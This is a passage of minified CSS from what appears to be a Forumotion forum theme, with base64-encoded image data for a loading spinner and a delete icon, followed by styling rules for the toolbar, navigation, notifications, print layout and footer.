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);background-repeat:no-repeat;background-size:100%;content:"";display:block;height:30px;margin:35% auto auto;width:30px}.EV_UploadPhoto #EV_main_img div.progress:before{margin-top:25%}.EV_UploadPhoto .EV_Delete{background-color:rgba(248,248,248,0.8);background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAEAAAABACAYAAACqaXHeAAAACXBIWXMAAChyAAAocgF7isG5AAAAIGNIUk0AAHolAACAgwAA+f8AAIDpAAB1MAAA6mAAADqYAAAXb5JfxUYAAAKHSURBVHja5Js7TiNBEEDfFBMiX4AbcJ6VVhaBRW5xCI6AyBGBZSE5ItjTbLLBXsAiZOUN3IOGAYb5VHVXQSeWLLvc73mmu6ZLVf0+pztOgJ/AFVABt8AWeCbWqIFr4BL4A9wAD8C/9oeqjoAT4B646ATbActAEur0p/3ovL8BVm0JMgCeFGibAkeFJ7HdJ9ZXAvrgI0nog39XQj0Qvi0Bp7fDEPi2BIBVnRa8ixE/5FHCGPi2hF+SVvuxw9PtMAW+GVeStjqCSpgDD1BJ2ucJKGEuPMCtpCC7YBI04HfAVtJCtgwkQQt+CTw3eUAUCarw3UzQuwR1+K4AzxJM4N8T4FGCGfxHAjxJMIXvE+BBgjn8ZwJKSsgCP0RACQnZ4IcKyCkhK/wYATkkZIcfK8BSQhF4Jq7OjQRmTLj53mV6vSsBD29PhXNvU/v0uigBP/UK0LwS5oDPhp+yBlisCcXgNQSUkqBWqBGlCeWUoFqlEsWJ5ZCgXqIT5QlaSjCpT4rBRC0kmBVn5+QBn41T4K/CVrcHzoAni0kK33xYCahTertQiLVIseooAjRSZI1DlSICLOBNJUgQeDMJEgjeRIIEg1eXIAHhVSVIYfh961CkiAQpCL9LGd4ZBStQXio2WmeMo58XxAG81gPUpCtBHMAXlSBO4ItJEEfwRSSIM/jsEsQhfFYJ4hQ+mwRxDJ9FgjiHN5cgAeBNJUgQeDMJdSD4rgSVZ4c6BYsCry3hUYB1MHjN22EtwCEgvJaEg3DsqIwIryHhRji2k26Cws+RsAEehGMb6WqgBM8ttGMkvLTQNnnAEAkR+oeHSHjVP9zOBPskRGqe7pPwpnm6+uLt88u0zR/4oH3+/wDcuzyspCSUCwAAAABJRU5ErkJggg==);background-position:center;background-repeat:no-repeat;background-size:85%;bottom:2px;cursor:pointer;height:20px;position:absolute;right:2px;width:20px}.EV_UploadPhoto .EV_Delete.hidden{display:none}#ui-datepicker-div.ui-widget{font-size:1rem}img.emojione{width:20px}.social_btn{text-align:center}.social_btn.no_center{text-align:initial}.social_btn > div{display:inline-block;margin:5px;vertical-align:middle}.calendar_overview_event{background-color:#f0f0f0;box-shadow:0 0 9px rgba(0,0,0,03), 0 0 1px 1px rgba(0,0,0,02);box-sizing:border-box;font-size:12px;height:200px;padding:15px 10px;width:350px}.header_overview_event p{height:30px;line-height:30px}.header_overview_event div > span:first-child{color:#00acba;float:left;font-size:14px;font-weight:700;overflow:hidden;text-overflow:ellipsis;white-space:nowrap;width:60%}.header_overview_event div > span:last-child{float:right;text-align:right;width:39%}.img_overview_event{float:left;width:39%}.img_overview_event img{display:block;height:100px;margin:0 auto;width:100px}.desc_overview_event{float:right;overflow-wrap:break-word;width:60%}.uppercase{text-transform:uppercase}.text-justify{text-align:justify}.fa_toolbar_XL_Sized{min-width:980px;width:100%}.fa_toolbar_L_Sized{min-width:774px}.fa_toolbar_M_Sized{min-width:519px}#fa_toolbar{background-color:#FFF;color:#FFF;font-family:Helvetica, Verdana, Arial;font-size:16px;height:30px;left:0;z-index:20002}#fa_toolbar :link,#fa_toolbar :visited{color:#FFF;text-decoration:none}#fa_toolbar a:hover{text-decoration:underline}#fa_toolbar a:active,#fa_toolbar a:hover,#fa_toolbar a:link,#fa_toolbar a:visited{border:none}#fa_show,.fa_tbMainElement,.fa_tbMainElement a{display:inline-block!important;vertical-align:middle}#fa_toolbar #fa_icon{background-image:url(https://illiweb.com/fa/i/toolbar/pa0.png);background-repeat:no-repeat;background-size:30px;display:inline-block!important;height:30px;visibility:visible!important;width:30px}#fa_toolbar #fa_fb,#fa_toolbar #fa_gp,#fa_toolbar #fa_hide,#fa_toolbar #fa_magnifier,#fa_toolbar #fa_mail,#fa_toolbar #fa_rss,#fa_toolbar #fa_twitter,#fa_toolbar_hidden #fa_show{background-image:url(https://illiweb.com/fa/i/toolbar/toolbar.png);cursor:pointer;height:30px;width:30px}#fa_left{display:inline-block!important;height:auto!important;line-height:30px!important;visibility:visible!important;width:auto!important}#fa_icon,#fa_toolbar #fa_service{color:#39C}#fa_toolbar #fa_service{display:inline-block!important;text-decoration:none!important;visibility:visible!important}#fa_toolbar #fa_service:hover[href]{text-decoration:underline!important}#fa_search{height:30px;margin-left:20px}#fa_search form{display:inline;margin:0;padding:0}#fa_search #fa_magnifier{background-position:-30px 0;position:absolute}#fa_search #fa_textarea{border:0;border-radius:5px;height:24px;line-height:24px;margin-top:3px;padding:0;text-indent:30px!important;width:200px}#fa_share{font-size:16px;line-height:30px!important;margin-left:20px}#fa_share_text{color:#39C;cursor:default;text-decoration:none!important}#fa_fb{background-position:-60px 0;margin-left:10px}#fa_twitter{background-position:-90px 0}#fa_gp{background-position:-120px 0}#fa_mail{background-position:-150px 0}#fa_rss{background-position:-180px 0}#fa_right{float:right;font-size:14px}#fa_right a.rightHeaderLink{color:#39C;line-height:30px;margin-left:10px;vertical-align:top}#fa_right span.rightHeaderLink{color:#39C;display:inline-block;line-height:30px;margin-left:1px;vertical-align:top}#fa_right #fa_notifications,#fa_welcome{color:#39C;line-height:30px;padding:0 5px}#fa_hide{background-position:-210px 0}#fa_menu{display:inline-block}#fa_right #fa_welcome:hover,#fa_toolbar #fa_right #fa_notifications:hover{cursor:pointer}#fa_right #fa_menu #fa_welcome,#fa_right.notification #fa_menu #fa_welcome{color:#39C}#fa_right #fa_menu ul,#fa_right.notification #fa_menu ul{display:none}#fa_right.welcome #fa_menu #fa_welcome{background-color:#fff;color:#333}#fa_right.welcome #fa_menu ul{display:block}#fa_menu:hover :visited,#fa_toolbar > #fa_right.notification > #fa_notifications{background-color:#FFF;color:#333}#fa_toolbar #fa_right .fa_separator{background-color:#CCC;height:1px;margin:0;padding:0;text-align:center;width:90%}#fa_menulist{background-color:#FFF;border:1px solid #333;border-top:0 solid #FFF;display:none;line-height:32px;list-style-type:none;margin:0;min-width:175px;padding:0 10px 0 150px;position:absolute;width:auto;z-index:10000}#fa_menulist :link,#fa_menulist :visited{color:#00569C!important}#fa_toolbar_hidden{background-color:#FFF;border-radius:0 0 5px 5px;height:30px;margin-top:-60px;position:absolute;right:0;width:30px;z-index:20002}#fa_show{background-position:-240px 0}#fa_toolbar #fa_right #fa_notifications #notif_unread{display:none;margin-left:.5em}#fa_toolbar #fa_right #fa_notifications.unread #notif_unread{display:inline}#fa_toolbar #fa_right #notif_list{background-color:#FFF;border:1px solid #333;border-top:0 solid #FFF;display:none;font-size:11px;list-style-type:none;margin:0;padding:0;position:absolute;z-index:10000}#fa_toolbar #fa_right.notification #notif_list{display:block}#fa_toolbar #fa_right #notif_list li{color:#333;display:block;font-size:1em;line-height:1.2em;margin:0;padding:0 .5em .5em}#fa_toolbar #fa_right #notif_list li .contentText{float:left;height:2.4em;overflow:hidden;width:27em}#fa_toolbar #fa_right #notif_list li .contentText a{color:#00569C!important;text-decoration:underline!important;vertical-align:baseline}#fa_toolbar #fa_right #notif_list li:first-child{padding-top:.5em}#fa_toolbar #fa_right #notif_list li:first-child hr{display:none}#fa_toolbar #fa_right #notif_list li .content{color:inherit!important;display:block;line-height:inherit!important;margin:0;overflow:hidden;vertical-align:top;width:30em}#fa_toolbar #fa_right #notif_list li a.delete{background:transparent url(https://illiweb.com/fa/i/toolbar/toolbar.png) no-repeat -274px 50%;float:right;height:2.4em;width:22px}#fa_toolbar #fa_right #notif_list li hr{border:0 solid #ccc;border-top-width:1px;margin:0 0 .5em}#fa_toolbar #fa_right #notif_list li.unread{background-color:#e5e5e5;font-weight:700}#fa_toolbar #fa_right #notif_list li.see_all{background-color:#333;color:#fff;padding:.7em!important;text-align:right}#fa_toolbar #fa_right #notif_list li.see_all a{color:#fff;width:100%}#fa_toolbar #live_notif{position:absolute;width:330px}#fa_toolbar #live_notif .fa_notification{background-color:#333;border-radius:5px;opacity:.8;padding:10px}#fa_toolbar #live_notif .fa_notification .content{background-image:url(https://illiweb.com/fa/notifications/notifications.png);background-repeat:no-repeat;color:#fff;display:inline-block;font-size:11px;height:32px;overflow:hidden;padding-left:40px}#fa_toolbar #live_notif .fa_notification a{text-decoration:underline!important;vertical-align:baseline}.fa_fix{position:fixed!important;right:0;top:0}#fa_toolbar .fa_hide{display:none!important}#fa_usermenu{color:#333;font-size:12px;left:0;padding:10px 20px 10px 10px;position:absolute;text-align:center;width:120px}#fa_ranktitle{overflow:hidden;text-align:center;text-overflow:ellipsis;white-space:nowrap;width:120px}#fa_ranktitle:hover{color:#333;text-decoration:none!important}#fa_usermenu td{line-height:15px;margin-bottom:5px;padding:0}#fa_usermenu td.first{text-align:right}#fa_usermenu td.bold{font-weight:700;text-align:left}#fa_usermenu img{max-height:120px;max-width:120px;width:120px}@media print{*{background-color:#fff;background-image:none;color:#000}body{font-size:10pt;margin:0;padding:0}body#phpbb div#wrap{margin:0;width:85%}span.corners-bottom,span.corners-top{display:none}#wrap #logo-desc img,#wrap #logo-desc p,div#page-header div.navbar,div#page-header div.navbar ul.linklist{display:none!important}#wrap div.headerbar{border-bottom:1px solid #ccc;margin:0}#wrap div#page-body h2{border-bottom:1px solid #ccc;font-weight:bolder;margin-bottom:1em}#wrap div#page-body .left-box,#wrap div#page-body .pagination,#wrap div#page-body div.topic-actions,#wrap div.post .right,#wrap div.postbody div.signature,#wrap div.postbody img,#wrap div.postbody ul.profile-icons,#wrap dl.postprofile{display:none!important;float:none}#wrap dl.postprofile{float:none}#wrap div.postbody .online{background-image:none}#wrap div.postbody{width:auto}#wrap div.postbody h3{font-size:10pt}#wrap div.postbody p.author{border-bottom:1px dashed #ccc;width:100%}#wrap div#page-body div.post{border-top:3px double #ccc;padding:0 0 2em}div.postbody{float:none;width:100%}#wrap div#page-body div.post .content{overflow:visible}div.noprint{display:none}}.fa-ajax-panel.fa-ajax-topic-move option[value=f31],.fa-ajax-panel.fa-ajax-topic-move option[value=f35],.fa-ajax-panel.fa-ajax-topic-move option[value=f54],.fa-ajax-panel.fa-ajax-topic-move option[value=f55],.fa-ajax-panel.fa-ajax-topic-move option[value=f71],.fa-ajax-panel.fa-ajax-topic-move option[value=f73],.fa-ajax-panel.fa-ajax-topic-move option[value=f76],.fa-ajax-panel.fa-ajax-topic-move option[value=f78]{background-color:#68B800;color:#fff}.fa-ajax-panel.fa-ajax-topic-move option[value=f50]{background-color:#787DEA;color:#fff}.fa-ajax-panel.fa-ajax-topic-move option[value=f5]{background-color:#e34b3c;color:#fff}div#main-content > div[style="overflow:visible"][class]:first-child,div#main-content > div[style="overflow:visible"][class]:last-child{display:none!important}.post .content > div ol > br:first-child,.post .content > div ul > br:first-child{display:none}.display-none{display:none}.module span.corners-bottom,.module span.corners-top{display:none}#page-body{box-sizing:border-box;padding:5px 15px}#content-container div#container,#content-container div#content{float:none;margin-right:0}.main-news-title,a.lastpost-link{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}.headerbar{background:#369FCF;min-height:200px}.conteneur_container_IE{background:url(https://i.imgur.com/xLxsSz4.png) 0 26px repeat-x}#logo-desc p,#site-title,.headerbar .corners-bottom,.headerbar .corners-top{display:none}#page-header{margin:0 -5px}#page-header .navbar{background:#369FCF;margin-bottom:15px;padding-bottom:10px}#page-header .navbar .linklist li{font-size:0}#page-header .navbar .linklist{background:#2D3134;border:none;margin:-9px -10px 5px}#page-header a.mainmenu{color:#eee;display:inline-block;font-family:sans-serif;font-size:13px;font-weight:700;height:40px;line-height:37px;outline:0;padding:0 15px;transition-duration:.1s}#page-header a.mainmenu[href="/register"]{color:#8C5}span.new-message{color:#EB3}span.new-message:before{content:'\f003';font-family:FontAwesome;margin-right:6px}#page-header a#logo{padding:0}.container{margin:-33px auto 0;width:80%}#page-header a.mainmenu.fa_navactif,#page-header a.mainmenu:hover{background-position:0 40px}#page-header a.mainmenu img,#page-header a.mainmenu[href*="/gallery"],#page-header a.mainmenu[href="/faq"]{display:none}#page-header a.active,#page-header a.mainmenu:hover{background-color:#1A1A1A}#page-header a.mainmenu[href^="/login"]:hover{background-color:#E54732}#sub-navbar{height:58px}#switch-login{float:right;padding-right:20px;padding-top:10px}#switch-login input.inputbox{border-color:transparent;border-radius:0 3px 3px 0;box-sizing:border-box;color:#555;font-family:sans-serif;font-size:13px;height:40px;margin-right:20px;padding:0 10px;width:150px!important}#switch-login .label-icone,#switch-login button[type=submit]{background-color:#2e3133;box-sizing:border-box;color:#fff;height:40px;vertical-align:top}#switch-login .label-icone{border-radius:3px 0 0 3px;font-size:21px;padding:9px 10px}#switch-login button[type=submit]{border:0;border-radius:4px;cursor:pointer;font-family:sans-serif;font-size:14px;font-weight:700;padding:0 10px}.cards .fa,.main-news-title,.ul-icons li img{vertical-align:middle}#search-box #search button[type=submit]{background-color:#2E3133;border:0;border-radius:0 4px 4px 0;font-size:21px;height:44px;margin-left:0;margin-right:3px;position:relative;width:50px!important}#fa_sticky_nav{background:#FAFAFA;border-bottom:1px solid #CCC!important;font-size:0;height:30px;overflow:hidden;position:fixed;right:0;text-align:center;transition:top .2s linear,width .6s ease-in-out;z-index:999}#fa_sticky_nav li{display:inline}#fa_sticky_nav a.mainmenu{background:url(https://i.servimg.com/u/f18/18/45/41/65/nav10.png) 0 30px repeat-x;color:#39C;display:inline-block;font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:12px;font-weight:700;height:30px;line-height:30px;padding:0 10px;transition:.2s}#fa_sticky_nav a.mainmenu.fa_navactif,#fa_sticky_nav a.mainmenu:hover{background-position:0 25px}#fa_sticky_toggle{background:url(https://i.servimg.com/u/f21/18/21/41/30/omnibo10.png) no-repeat #FAFAFA;border:1px solid #CCC;border-right:none;display:inline-block;height:29px;position:fixed;right:0;transition:top .2s linear;width:30px;z-index:999}#fa_sticky_nav a.mainmenu[href="/report"] img,.main-left ul.mini-screen,.main-right li:nth-child(n+5){display:none}#fa_sticky_toggle:hover{background-position:-30px 0}#fa_toolbar_hidden{border:1px solid #CCC;border-radius:0!important;border-right:0;border-top:0}.post div[style*="-30px;"]{top:-60px!important}#fa_ticker_container #fa_ticker .fa_ticker_content .fa-exclamation-triangle,#fa_ticker_container #fa_ticker .fa_ticker_content .fa-warning{color:#fff;font-size:20px}#fa_ticker_container #fa_ticker .fa_ticker_content{color:#fff!important;font-family:sans-serif;font-size:18px;font-weight:700;padding-top:7px;text-align:center;text-shadow:1px 1px 2px #26789f}#fa_ticker_container #fa_ticker .fa_ticker_content a{color:#fff!important;text-decoration:none}#fa_ticker_container #fa_ticker .fa_ticker_content a:hover{border-bottom:1px solid #fff}body{background-color:#E5E5E5;color:#555;counter-reset:chapter;font-size:10px}#wrap{background:#F2F2F2;background-clip:padding-box;border:1px solid rgba(0,0,0,.1);max-width:95%;padding:20px 5px 0}#main-content{padding:3px}.cards .card,.main-left,.main-right{box-sizing:border-box;font-family:sans-serif}.new,.qeel_title,.text_label{font-weight:700}.footer-title,.qeel_title,.text_label{text-transform:uppercase}.cards .card{color:#fff;float:left;font-size:22px;margin-top:10px;padding:20px 30px;width:31%}.cards .card.yellow-card{background-color:#e6ad1d;border-bottom:3px solid #c79616;margin-right:1.5%;text-shadow:0 0 1px #c79616}.cards .card.red-card{background-color:#E54732;border-bottom:3px solid #C62F1A;margin-left:1.5%;text-shadow:0 0 1px #C62F1A;width:32%}.cards .card.green-card{background-color:#71be47;border-bottom:3px solid #60a53a;margin-left:1.5%;text-shadow:0 0 1px #60a53a;width:32.5%}.cards .fa{font-size:37px;margin-right:15px}.main-left,.main-right{border:10px solid #369fcf;font-size:14px;line-height:25px;margin:20px 0 0;min-height:179px}.main-left{float:left;width:31%}.img-whois,.main-right{float:right}.main-left>h2,.main-right>h2{background-color:#369fcf;color:#fff!important;font-family:sans-serif;font-size:18px;margin:0;padding:0 14px 8px}.main-left ul,.main-right ul{padding:10px}ul.main-news{list-style:none!important;padding-left:10px!important}ul.fa-ul{margin-left:0;padding-left:30px!important}.main-right{width:66%}.main-left li:nth-child(2n+1),.main-right li:nth-child(2n+1){background-color:#f6f6f6}.main-news-time{box-sizing:border-box;color:#555;display:inline-block;float:right;font-size:.9em;padding-right:5px;text-align:right;width:25%}.main-news-title{display:inline-block;width:75%}.qeel_title{background:#e54732;color:#FFF;font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:16px;padding:8px 15px}#fa_qeel .qeel_title:nth-child(n+3){background-color:#2e3133!important}.qeel_title a{color:#FFF}.qeel_section{background:#fafafa;color:#333;font-size:12px;line-height:1.5em;padding:15px}#online-box #fa_qeel{clear:both;margin:0 -5px}#fa_stats{background:#2E3133;color:#FFF;font-family:Arial,Verdana,Sans-serif;padding:15px 0;text-align:center}.stat_label,.stat_label a{color:#2E3133}.stat_label{background:#F2F2F2;border-radius:3px;display:inline-block;font-size:0;margin:0 12px 0 7.5%;padding:6px 12px}.stat_label strong,.text_label{font-size:14px}#page-footer,#page-footer a{color:#A3AAAE}.text_label{margin-right:7.5%}#footer-container,div#forum.footer-container{margin:0 auto;padding:0 15px;width:90%}#fa_groups{font-size:0}#fa_groups b,#fa_groups:before{font-size:11px;font-style:normal}#fa_groups:before{content:"Staff: "}#fa_groups b:after{content:", ";font-weight:400}#fa_groups b:last-child:after{content:""}.Administradores,.g_Administradores{background:#f60}#page-footer{background:#2E3133;clear:both;font-family:"Helvetica Neue",Helvetica,Arial,sans-serif;font-size:14px;margin-top:30px;min-width:960px;padding-bottom:60px;text-align:left}#page-footer a:hover{color:#CCD0D2}.footer-col{float:left;width:25%}.footer-title{display:block;font-family:"Trebuchet MS","Helvetica Neue",Helvetica,Arial,sans-serif;font-size:17px;margin:60px 0 25px}.footer-list{list-style:none;margin:0 0 10px;padding-left:0}.footer-list li{margin-bottom:10px}.footer-image{display:inline-block;text-align:center;width:25px}.footer-row hr{border:none;border-top:2px solid #FFF!important;margin:40px auto 0;width:100px}.footer-copyright{padding-top:20px;text-align:center}#footer_brand{display:block;margin:0 auto;width:230px}#footer_brand span{color:#FFF;display:inline-block;margin:10px}#footerBackToTop{position:relative}#footerBackToTop a{background:#3E4143;border-radius:30px;display:inline-block;height:30px;left:50%;margin-left:-15px;position:absolute;top:10px;width:30px}#footerBackToTop a:hover{background:#1E2123}#footerBackToTop a img{margin-top:9px}.defaultFooterLink a.small{color:#FF9!important}.content h1,.content h2,.content h3,.content h4,.h1,.h2,.h3,.h4,.h5,.h6,.panel h1,.panel h2,.panel h3,.panel h4,h1,h1.page-title,h2,h2.h3,h2.u,h3,h4,h5,h6{border-color:#39C;color:#39C}.forabg,.forumbg{background:#FAFAFA;border:1px solid #DDD;border-bottom-width:2px;border-radius:3px;margin-bottom:30px;overflow:hidden}.forabg ul,.forumbg ul{background:0 0}.forabg .header,.forumbg .header{background:#39c;border-bottom:solid 1px #dfdfdf;margin:-5px -5px 10px;padding:6px 3px 3px}.forabg .header dd,.forumbg .header dd{font-size:11px;font-weight:700}.forabg .header dt,.forabg .header h2,.forumbg .header .dterm,.forumbg .header dt{font-family:"Trebuchet MS",Arial,Verdana,Sans-serif;font-size:13px;font-weight:700;padding-left:6px!important}.forabg .header .dterm.full-size{width:100%}.forabg .header .dterm.full-size i.fa{float:right;padding-right:10px}.forabg .row,.forumbg .row{background:#F2F2F2;border:1px solid #EEE!important;border-radius:3px;margin-bottom:10px;margin-left:5px;margin-right:5px;position:relative}.forabg .row dd,.forumbg .row 